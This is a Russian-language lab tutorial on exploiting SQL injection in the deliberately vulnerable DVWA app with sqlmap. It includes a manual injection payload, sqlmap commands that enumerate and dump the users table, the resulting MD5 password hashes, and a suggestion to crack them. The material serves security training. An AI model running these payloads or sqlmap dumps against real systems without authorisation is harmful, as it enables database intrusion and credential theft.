Эксплуатация SQL-инъекций с помощью sqlmap

LinuxBeginner
Практиковаться сейчас

Введение

В этом лабораторном занятии вы научитесь эксплуатировать уязвимости SQL-инъекции с использованием sqlmap, автоматического инструмента для SQL-инъекции и захвата базы данных. Вы научитесь устанавливать sqlmap, настраивать уязвимое веб-приложение (DVWA) и выполнять различные атаки SQL-инъекцией для извлечения конфиденциальных данных.

В лабораторной работе демонстрируются практические методы определения точек инъекции, выполнения запросов к базе данных и анализа извлеченной информации. В результате этого практического упражнения вы приобретете важные навыки как для наступательных тестов безопасности, так и для защитной оценки уязвимостей.

Установка sqlmap

На этом этапе вы установите sqlmap, популярный открытый инструмент для пентестинга (проверки на проникновение), предназначенный для обнаружения и эксплойтаций уязвимостей SQL-инъекции. SQL-инъекция - это распространенная уязвимость веб-безопасности, которая позволяет злоумышленникам вмешиваться в запросы к базе данных. sqlmap автоматизирует процесс обнаружения и эксплойтаций этих уязвимостей.

sqlmap написан на Python, поэтому мы будем использовать пакетный менеджер Python pip для его установки. pip - это инструмент, который поставляется вместе с Python и помогает вам устанавливать и управлять дополнительными пакетами Python. Следуйте этим шагам внимательно:

  1. Сначала убедитесь, что вы находитесь в каталоге по умолчанию. Это важно, так как оно помогает организовать файлы проекта:
cd ~/project
  1. Обновите pip до последней версии. Обновление pip гарантирует, что вы сможете устанавливать самые новые версии пакетов и избежать проблем с совместимостью:
pip install --upgrade pip
  1. Установите sqlmap с помощью pip. Эта команда загружает sqlmap и все его зависимости из Python Package Index (PyPI):
pip install sqlmap
  1. Проверьте установку, проверив версию. Это подтверждает, что sqlmap правильно установлен и показывает, какую версию вы имеете:
sqlmap --version

Вы должны увидеть вывод, похожий на следующий:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...

[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x

Это подтверждает, что sqlmap успешно установлен. Инструмент будет доступен глобально в вашей системе, так как pip устанавливает пакеты в окружение Python пользователя. Правовая оговорка напоминает, что sqlmap должен использоваться только на системах, на которых у вас есть разрешение на тестирование.

Основные моменты для начинающих:

  • pip автоматически обрабатывает загрузку и установку пакетов Python
  • Флаг --upgrade обновляет сам pip до самой новой версии
  • sqlmap устанавливается в каталог site-packages Python, где хранятся все пакеты Python
  • Флаг --version - это стандартный способ проверить установку во многих инструментах командной строки
  • Вывод показывает номер версии sqlmap и важную правовую информацию о правильном использовании

Настройка уязвимого веб-приложения

На этом этапе вы настроите специально уязвимое веб-приложение под названием "Damn Vulnerable Web Application" (DVWA), которое содержит уязвимости SQL-инъекции. Это будет служить нашей тестовой средой для практики методов SQL-инъекции с использованием sqlmap. DVWA специально разработано для профессионалов в области безопасности и студентов, чтобы они могли изучать веб-уязвимости в безопасной и легальной среде.

  1. Сначала убедитесь, что вы находитесь в правильном каталоге. Каталог ~/project - это место, где мы будем хранить все файлы нашей лабораторной работы:
cd ~/project
  1. Склонируйте репозиторий DVWA с GitHub. Эта команда загружает все файлы приложения на вашу локальную машину:
git clone https://github.com/digininja/DVWA.git
  1. Перейдите в каталог DVWA. Именно здесь будут храниться все файлы приложения после клонирования:
cd DVWA
  1. Запустите встроенный веб-сервер PHP. Мы используем порт 8000, так как он обычно свободен и не будет конфликтовать с другими службами. 0.0.0.0 означает, что сервер будет принимать соединения с любого сетевого интерфейса:
php -S 0.0.0.0:8000
  1. Откройте новую вкладку терминала (щелкните правой кнопкой мыши по терминалу и выберите "Новая вкладка"), не закрывая запущенный сервер. Это позволит вам продолжать работу, пока веб-сервер остается активным.

  2. В новой вкладке проверьте, что сервер работает корректно. Команда curl получает содержимое домашней страницы, чтобы подтвердить, что приложение отвечает:

curl http://localhost:8000

Вы должны увидеть HTML-вывод, содержащий "Damn Vulnerable Web Application (DVWA)".

Для начинающих, чтобы понять компоненты:

  • DVWA - это веб-приложение на PHP/MySQL, специально разработанное с учетом безопасности уязвимостей для целей обучения
  • Встроенный сервер PHP (php -S) - это простой способ запускать PHP-приложения на этапе разработки
  • Порт 8000 - это распространенный альтернативный порт для серверов разработки, когда порт 80 недоступен
  • Приложение будет доступно в вашем браузере по адресу http://localhost:8000

Примечание: Во время всей лабораторной работы оставьте сервер запущенным в первой вкладке терминала. Все последующие шаги будут использовать это уязвимое приложение. Если вы случайно закроете эту вкладку, вам нужно будет перезапустить сервер, повторив шаг 4.

Найти точку инъекции

На этом этапе мы научимся определять базовую уязвимость SQL-инъекции в DVWA (Damn Vulnerable Web Application). Это важный первый шаг перед использованием автоматических инструментов, таких как sqlmap, так как нам нужно вручную подтвердить, где именно существует уязвимость.

  1. Сначала убедитесь, что сервер DVWA все еще запущен (см. Шаг 2). Если нет, запустите его снова:
cd ~/project/DVWA && php -S 0.0.0.0:8000

Эта команда запускает веб-сервер PHP с запущенным DVWA на порту 8000.

  1. Откройте DVWA в своем браузере, перейдя по адресу:
http://localhost:8000
  1. Войдите в систему с использованием этих учетных данных:
Username: admin
Password: password

Это стандартные учетные данные, предоставленные DVWA для целей тестирования.

  1. Установите уровень безопасности на "низкий" (слева в меню: DVWA Security -> установить на Low -> Отправить)
    DVWA имеет разные уровни безопасности - мы используем "низкий" уровень, чтобы продемонстрировать базовые уязвимости без защитных механизмов.

  2. Перейдите в раздел "SQL Injection" в левом меню
    Именно здесь мы будем тестировать на наличие уязвимостей SQL-инъекции.

  3. Протестируйте на наличие SQL-инъекции, введя следующее в поле User ID:

1' OR '1'='1

Это классическая строка для тестирования SQL-инъекции. Разберем ее:

  • Апостроф (') закрывает исходный запрос
  • OR '1'='1' добавляет условие, которое всегда истинно
  • Вместе они манипулируют SQL-запросом так, чтобы он вернул все записи
  1. Нажмите "Submit". Вы должны увидеть все записи пользователей, что указывает на успешную инъекцию.
    Если вы видите больше данных, чем ожидали (все пользователи вместо одного), это подтверждает, что инъекция сработала.

Основные концепции для начинающих:

  • SQL-инъекция возникает, когда пользовательский ввод напрямую включается в запросы к базе данных без соответствующей очистки
  • Апостроф (') - это распространенный символ, используемый для выхода из предполагаемого синтаксиса SQL-запроса
  • 'OR '1'='1' - это базовая тестовая нагрузка, которая использует эту уязвимость, создавая условие, которое всегда истинно
  • "Низкий" уровень безопасности убирает защитные механизмы, чтобы мы могли сосредоточиться на изучении уязвимости

Этот успешный тест показывает, что параметр User ID уязвим к SQL-инъекции. На следующем этапе мы будем использовать эту подтвержденную точку уязвимости с помощью sqlmap для более продвинутой эксплойтации. Помните, что поиск точек инъекции вручную помогает понять, как работают автоматические инструменты "под капотом".

Извлечение данных с помощью sqlmap

На этом этапе вы будете использовать sqlmap, автоматический инструмент для SQL-инъекции, чтобы эксплоитировать уязвимость, которую мы обнаружили ранее. SQL-инъекция позволяет злоумышленникам напрямую взаимодействовать с базой данных, а sqlmap помогает автоматизировать этот процесс, тестируя параметры и извлекая информацию.

  1. Сначала убедитесь, что вы находитесь в каталоге проекта, где мы будем выполнять все команды:
cd ~/project
  1. Запустите sqlmap на уязвимой странице. Параметр --cookie здесь очень важен, так как DVWA требует аутентификации. Замените <PHPSESSID> значением cookie, которое вы получили при входе в DVWA:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch

Флаг --batch сообщает sqlmap автоматически использовать параметры по умолчанию, что полезно для начинающих, изучающих этот инструмент.

  1. Когда sqlmap спросит, нужно ли сохранить сессию, введите "Y" и нажмите Enter. Это позволит вам продолжить сканирование позже, если потребуется.

  2. Чтобы узнать, какие базы данных существуют на сервере, мы будем использовать флаг --dbs, который означает "базы данных":

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
  1. В выводе будут показаны доступные базы данных. Вы должны увидеть две перечисленные базы данных:
available databases [2]:
[*] dvwa
[*] information_schema

dvwa - это наша целевая база данных, а information_schema - это стандартная база данных MySQL, содержащая метаданные.

  1. Теперь давайте рассмотрим таблицы внутри базы данных dvwa. Параметр -D задает имя базы данных, а --tables выводит ее содержимое:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch

Объяснение ключевых параметров:

  • --cookie: Включает ваши учетные данные сессии для сохранения аутентифицированного доступа
  • --batch: Запускает sqlmap в неинтерактивном режиме с использованием параметров по умолчанию
  • --dbs: Определяет доступные имена баз данных на сервере
  • -D: Выбирает определенную базу данных для исследования
  • --tables: Извлекает список таблиц в выбранной базе данных

Анализ полученных данных

На этом этапе мы рассмотрим конфиденциальную информацию из базы данных, которую sqlmap успешно извлек с помощью SQL-инъекции. Это демонстрирует реальный эффект уязвимостей SQL-инъекции, показывая, какую именно информацию могут получить злоумышленники.

  1. Сначала извлечем все данные из таблицы 'users' в базе данных DVWA. Эта команда основана на предыдущих действиях, но теперь мы конкретно целеуказанно обращаемся к таблице users, чтобы увидеть информацию о учетных записях (замените на ваш сессионный cookie):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch

-D dvwa указывает на базу данных, -T users целеуказывает на таблицу users, а --dump извлекает все ее содержимое.

  1. В выводе показана конфиденциальная информация о пользователях, хранящаяся в базе данных:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user    | password                         | avatar    | last_login | failed_login        |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1       | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL       | 0                   |
| 2       | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL       | 0                   |
| 3       | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg  | NULL       | 0                   |
| 4       | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL       | 0                   |
| 5       | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL       | 0                   |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+

Обратите внимание, что в столбце password хранятся хэши MD5 вместо паролей в открытом виде. Хотя это лучше, чем хранение необработанных паролей, MD5 считается криптографически устаревшим и уязвимым к атакам с использованием радужных таблиц.

  1. Вы можете попробовать расшифровать эти хэши с помощью онлайн-инструментов, таких как CrackStation, скопировав и вставив значения хэшей. Это показывает, как слабые алгоритмы хэширования могут быть развернуты для восстановления исходных паролей.

  2. Чтобы понять полную структуру базы данных, мы можем извлечь ее схему:

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch

Флаг --schema показывает все таблицы и их структуру столбцов, предоставляя злоумышленникам план всей базы данных. Это чрезвычайно ценная информация для дальнейшей эксплойтации.

Основные выводы для начинающих:

  • Параметр --dump извлекает все данные из указанной таблицы
  • Хэши MD5 часто можно расшифровать с использованием предварительно вычисленных радужных таблиц
  • Информация о схеме базы данных помогает злоумышленникам понять структуру данных
  • Это упражнение демонстрирует, как одна уязвимость SQL-инъекции может привести к полному компрометации базы данных
  • Всегда используйте надежные, сольные алгоритмы хэширования, такие как bcrypt, для хранения паролей

Резюме

В этом лабораторном занятии вы узнали, как установить и использовать sqlmap для тестирования на SQL-инъекцию, начиная от настройки среды с помощью установки через pip и проверки версии. В рамках лабораторной работы вас научили развертывать DVWA как уязвимую цель и настраивать локальный тестовый сервер.

Вы практиковались в выявлении уязвимостей SQL-инъекции и извлечении данных с использованием автоматических инструментов sqlmap. В упражнениях были рассмотрены основные командно-строковые операции, а также продемонстрированы практические методы тестирования в области кибербезопасности для обнаружения уязвимостей баз данных.